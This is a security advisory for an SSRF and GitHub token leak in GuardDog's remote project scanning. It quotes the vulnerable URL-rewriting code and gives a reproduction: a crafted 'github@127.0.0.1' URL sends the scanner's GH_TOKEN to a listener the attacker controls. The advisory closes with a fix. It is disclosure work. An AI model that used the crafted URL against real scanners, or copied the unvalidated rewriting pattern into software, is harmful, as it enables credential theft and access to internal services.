Advisoriesby GlyphBlind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)Because this logic does not parse or validate the hostname, a crafted URL such as:
http://github@127.0.0.1:18081/owner/repois transformed into:
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txtRequests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header. 2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret. 3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt"). 4. Observe a request to...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| guarddog PyPI | >= 1.0.0, <= 2.9.0 | No fix yet |
Details and references
# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Severity from
- GitHub (reviewed advisory)